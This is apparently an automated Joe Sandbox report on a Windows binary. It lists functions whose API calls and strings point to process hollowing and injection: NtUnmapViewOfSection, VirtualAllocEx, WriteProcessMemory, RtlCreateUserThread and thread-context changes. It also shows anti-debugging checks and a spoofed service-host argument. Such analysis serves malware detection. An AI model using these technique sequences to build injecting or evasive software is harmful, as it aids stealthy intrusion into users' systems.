Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 823e6759efeda70e4ef3bae70da677e340206dab9cd5a6f55dc8ef6d8ad068b5
Instruction ID: 0fdd7f0e628d7ff07e19dfe3d8d8f303c0d53b9cb8911525021dc6775d9ef448
Opcode Fuzzy Hash: 823e6759efeda70e4ef3bae70da677e340206dab9cd5a6f55dc8ef6d8ad068b5
Instruction Fuzzy Hash: 94012162B2855292EF90DB34F4543AA5360FBA4744FA05032F64DC29A5EE3CD60DEB40

Function 00007FF60E6134F0 Relevance: 7.6, APIs: 5, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E612314: LoadLibraryA.KERNEL32 ref: 00007FF60E61231F

Part of subcall function 00007FF60E611478: LoadLibraryA.KERNEL32 ref: 00007FF60E611483

GetModuleFileNameW.KERNEL32 ref: 00007FF60E61353F
CreateFileW.KERNELBASE ref: 00007FF60E6135E9

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FileLibraryLoad$CreateModuleName
String ID:
API String ID: 1423211558-0
Opcode ID: 8e19fe20eb70262ac2b9ee69aec7594eb78a2744813ecd72a26dbfba2eb32f7d
Instruction ID: e7ccd51eb79060e8902ee1ed0627f2bb47ffc939d0ba0e793ff454a1dffbad53
Opcode Fuzzy Hash: 8e19fe20eb70262ac2b9ee69aec7594eb78a2744813ecd72a26dbfba2eb32f7d
Instruction Fuzzy Hash: 3E51286261CAD186E7219B65F4503AFBBA0FB96780F244035F6CD87BA9DF3DD0449B00

Function 00007FF60E631174 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF60E6311AB
GetVolumeInformationW.KERNELBASE ref: 00007FF60E63124C
wsprintfW.USER32 ref: 00007FF60E6312DB

Strings

%08lX%04lX%lu, xrefs: 00007FF60E6312CC

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction ID: 1c5e8764efabe3bed1403c6df4b3bbf3a09a6ed3c76e17ad0e2b3d19c3bce083
Opcode Fuzzy Hash: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction Fuzzy Hash: B841492272824186E7109B28F45536AB7A0FBD5708F60113AF78DC7BA9EF7DD944CB00

Function 00007FF60E612A40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E611600: GetModuleHandleA.KERNEL32 ref: 00007FF60E61160B
Part of subcall function 00007FF60E611600: GetProcAddress.KERNEL32 ref: 00007FF60E611622

lstrcatW.KERNEL32 ref: 00007FF60E612ABA
CreateProcessInternalW.KERNELBASE ref: 00007FF60E612B22

Strings

-k DcomLaunch -p -s LSM, xrefs: 00007FF60E612AAB
h, xrefs: 00007FF60E612A80

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressCreateHandleInternalModuleProcProcesslstrcat
String ID: -k DcomLaunch -p -s LSM$h
API String ID: 3850928873-3634226398
Opcode ID: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction ID: 59f5e9e38dfc159d9401b6d1a765a523d87c9d757109e54b2823bf5dca51dbf2
Opcode Fuzzy Hash: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction Fuzzy Hash: 60210732618B8282E760CF15F4543AAB7E5F794384F604135E68D83B68EF7DD158DB40

Function 00007FF60E612838 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32 ref: 00007FF60E61289E
Wow64SetThreadContext.KERNEL32 ref: 00007FF60E6128CE
GetThreadContext.KERNEL32 ref: 00007FF60E61292C

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: ContextThread$Wow64
String ID:
API String ID: 275855601-0
Opcode ID: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction ID: 47deed1491691ac3d2e9532e0729f6b750a372ad369985bf3a901a5c55b18b8d
Opcode Fuzzy Hash: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction Fuzzy Hash: B8315C6261C6C582E770CB15F45436AA7E1F788B80F904536EA8D83B68DF3CD504DF40

Function 00007FF60E611E8C Relevance: 6.0, APIs: 4, Instructions: 39
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 00007FF60E611EAB
SetFilePointer.KERNELBASE ref: 00007FF60E611ED1
WriteFile.KERNELBASE ref: 00007FF60E611EFF
SetFilePointer.KERNELBASE ref: 00007FF60E611F15

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: File$Pointer$SizeWrite
String ID:
API String ID: 2087530826-0
Opcode ID: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction ID: 0440ee9865f8469b1ed6c6565c5dcc17d40415cde0b272face976ad4dab1cf94
Opcode Fuzzy Hash: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction Fuzzy Hash: D1110376A38A9187E750DF69F450A1EB7A1F7D6B40F506026FA8E83B18DF3CE4048B00

Function 00007FF60E630150 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF60E62FBC5), ref: 00007FF60E630154
GetCurrentProcess.KERNEL32 ref: 00007FF60E63016A
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF60E630178

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction ID: f70cdb8b8eac9ad150c43c8d9f894e4465e47b76109bfc29a578fe30918e3f7b
Opcode Fuzzy Hash: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction Fuzzy Hash: 8BF08C21A2C192C5EBB04B70B80C33E67E0BB65B08F608174F58DC6296CF2CD50CEB61

Function 00007FF60E612FDC Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsnlen.LIBCMT ref: 00007FF60E613038

Part of subcall function 00007FF60E612B44: NtMapViewOfSection.NTDLL ref: 00007FF60E612BB8

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: SectionViewwcsnlen
String ID:
API String ID: 4106997571-0
Opcode ID: ffb3091b6b3d5a123d30ae2daab49e37f26347fd6e0e5609431d118b62138c83
Instruction ID: 90d053772cf2316469ecb0839783dcacd8a5934bfeff3155215f3e097cfc7c51
Opcode Fuzzy Hash: ffb3091b6b3d5a123d30ae2daab49e37f26347fd6e0e5609431d118b62138c83
Instruction Fuzzy Hash: 8231A03252C79582DB61CB51F4443AAA7E0FB95380F544075F68E83B69DF3CD505DB00

Function 00007FF60E62DFBC Relevance: 3.0, APIs: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00007FF60E62DFCF
GetProcAddress.KERNEL32 ref: 00007FF60E62DFE4

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction ID: 6d57ebc4320aaaf3ac0e363a98688404d93986cc401a8516136e8eadf8ce0ec6
Opcode Fuzzy Hash: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction Fuzzy Hash: D2E00276A19F8582C6609B15F84401EB7B4F7D9794FA04125EACD82B39DF3CC665CB04

Function 00007FF60E611F38 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e11c399d1a09d423e86982617f7fb185bfad691a7c7991c7f7845112d7df3d18
Instruction ID: 89ee6ca87d7963023003af832d9c7dd1b0ddfbcdface909cdb3a7888196fd9fb
Opcode Fuzzy Hash: e11c399d1a09d423e86982617f7fb185bfad691a7c7991c7f7845112d7df3d18
Instruction Fuzzy Hash: 87314B2252CBD185DA618B51F45036EB7A4FBA6784F245075FACD83B6ADF3DD044AB00

Function 00007FF60E612174 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF60E61219C

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 49a6239eca554bde6359bdab4bfc5be76872e352b47871b1d5bcaa8b0cd124c4
Instruction ID: 9bf76d49d87514ee5c8834a4197c633467da90ff55899ecec9669be674555f36
Opcode Fuzzy Hash: 49a6239eca554bde6359bdab4bfc5be76872e352b47871b1d5bcaa8b0cd124c4
Instruction Fuzzy Hash: 86D05B61E3CA91C1D754DB01F49531A6360FBE4780F505075FB8A42678CF3CC054AB00

Function 00007FF60E6302B0 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E62FBD9), ref: 00007FF60E6302CC

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b57c225955378cc017116ab47c09997866f2df82083688e7948c599840e0e8e3
Instruction ID: fce24ec9a3097e31bcc1423c22ca045c554b0ddab8f835bb0d4900cc61e16dfc
Opcode Fuzzy Hash: b57c225955378cc017116ab47c09997866f2df82083688e7948c599840e0e8e3
Instruction Fuzzy Hash: 76C01271F2515083D71C9B21E451A0A2A20A754744F904028E60147785CD3DC2518F00

Function 00007FF60E630280 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF60E63029E

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction ID: abd7977cb2bb937e20ad7b3bf94e7a3a1096cf0cec850dee30ef4feb685a7cb2
Opcode Fuzzy Hash: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction Fuzzy Hash: 52D01221F38D9281EB94DB26F88971962A0FFD4740F609035F58981968CF3CC099CF00

Non-executed Functions

Function 00007FF60E62F204 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF60E62F272

Strings

ntdll, xrefs: 00007FF60E62F558
.reloc, xrefs: 00007FF60E62F7FB
@, xrefs: 00007FF60E62F5EE
NtUnmapViewOfSection, xrefs: 00007FF60E62F56D

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction ID: 9333841f8c07346ed0ef616f7bbbc3bded111eda82fbe34c2b16582e547b7604
Opcode Fuzzy Hash: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction Fuzzy Hash: 5B32D932718A9186E7A0CB15F45436AB7A1FBA4B84F50813AFA8DC3B69DF3CD444DB40

Function 00007FF60E611B30 Relevance: 34.7, APIs: 23, Instructions: 169nativeCOMMON

Download Yara Rule

APIs

NtSuspendProcess.NTDLL ref: 00007FF60E611B8A
NtResumeProcess.NTDLL ref: 00007FF60E611B9C
CloseHandle.KERNEL32 ref: 00007FF60E611BAA
NtResumeProcess.NTDLL ref: 00007FF60E611BC8
CloseHandle.KERNEL32 ref: 00007FF60E611BD6

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Process$CloseHandleResume$Suspend
String ID:
API String ID: 4073281515-0
Opcode ID: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction ID: f86e7bca3f72683693a19e16ceb2b2d63f50aedaf8fb3b8a8745c7487cca6423
Opcode Fuzzy Hash: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction Fuzzy Hash: E091067261CA91C6E721CB55F49436EB7A0FB95B80F640036FA8E87AA8DF7CD444DB00

Function 00007FF60E633B98 Relevance: 21.1, APIs: 14, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

__crtGetLocaleInfoA.LIBCMT ref: 00007FF60E633BF1

Part of subcall function 00007FF60E63AB7C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60E63AB9C
Part of subcall function 00007FF60E63AB7C: __crtGetLocaleInfoA_stat.LIBCMT ref: 00007FF60E63ABBA

GetLastError.KERNEL32 ref: 00007FF60E633BFD
__crtGetLocaleInfoA.LIBCMT ref: 00007FF60E633C19
__crtGetLocaleInfoA.LIBCMT ref: 00007FF60E633C50
_calloc_crt.LIBCMT ref: 00007FF60E633C2C

Part of subcall function 00007FF60E6341D4: _calloc_impl.LIBCMT ref: 00007FF60E634202
Part of subcall function 00007FF60E6341D4: Sleep.KERNEL32(?,?,?,00007FF60E635782,?,?,?,00007FF60E6359AD,?,?,?,?,00007FF60E632431), ref: 00007FF60E634219

_calloc_crt.LIBCMT ref: 00007FF60E633C67
free.LIBCMT ref: 00007FF60E633C7F
free.LIBCMT ref: 00007FF60E633CCB
GetLocaleInfoEx.KERNEL32 ref: 00007FF60E633CEE
_calloc_crt.LIBCMT ref: 00007FF60E633D00
GetLocaleInfoEx.KERNEL32 ref: 00007FF60E633D18
free.LIBCMT ref: 00007FF60E633D24
GetLocaleInfoEx.KERNEL32 ref: 00007FF60E633D4F
_invoke_watson.LIBCMT ref: 00007FF60E633D77

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Locale$Info$__crt$_calloc_crtfree$A_statErrorLastSleepUpdateUpdate::__calloc_impl_invoke_watson
String ID:
API String ID: 411824461-0
Opcode ID: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction ID: 0ccef005a1e64222b6f832f1d94e696cf7becb209634b773dd51ac02e579c2a8
Opcode Fuzzy Hash: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction Fuzzy Hash: 64511611B382B345FA609A76B9117BAA2C16FB5BC4F245035FE1DDBB86DE3CE401A700

Function 00007FF60E6110D4 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF60E6110F8

Strings

ntdll, xrefs: 00007FF60E6112EB
@, xrefs: 00007FF60E6111FF
RtlCreateUserThread, xrefs: 00007FF60E6112F8
, xrefs: 00007FF60E6111AC

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction ID: 33cb69b7512aa659ac1983a3ebef086a5e3f08dbd6dae56305d0d74f4d3773f4
Opcode Fuzzy Hash: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction Fuzzy Hash: 4A714932A1DB9586E7608B91F44436EB7A0FBA5780F644135F68DC2AA8DF7CD484EB00

Function 00007FF60E6124E8 Relevance: 10.6, APIs: 7, Instructions: 137memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF60E6125C3
WriteProcessMemory.KERNEL32 ref: 00007FF60E6125F5

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

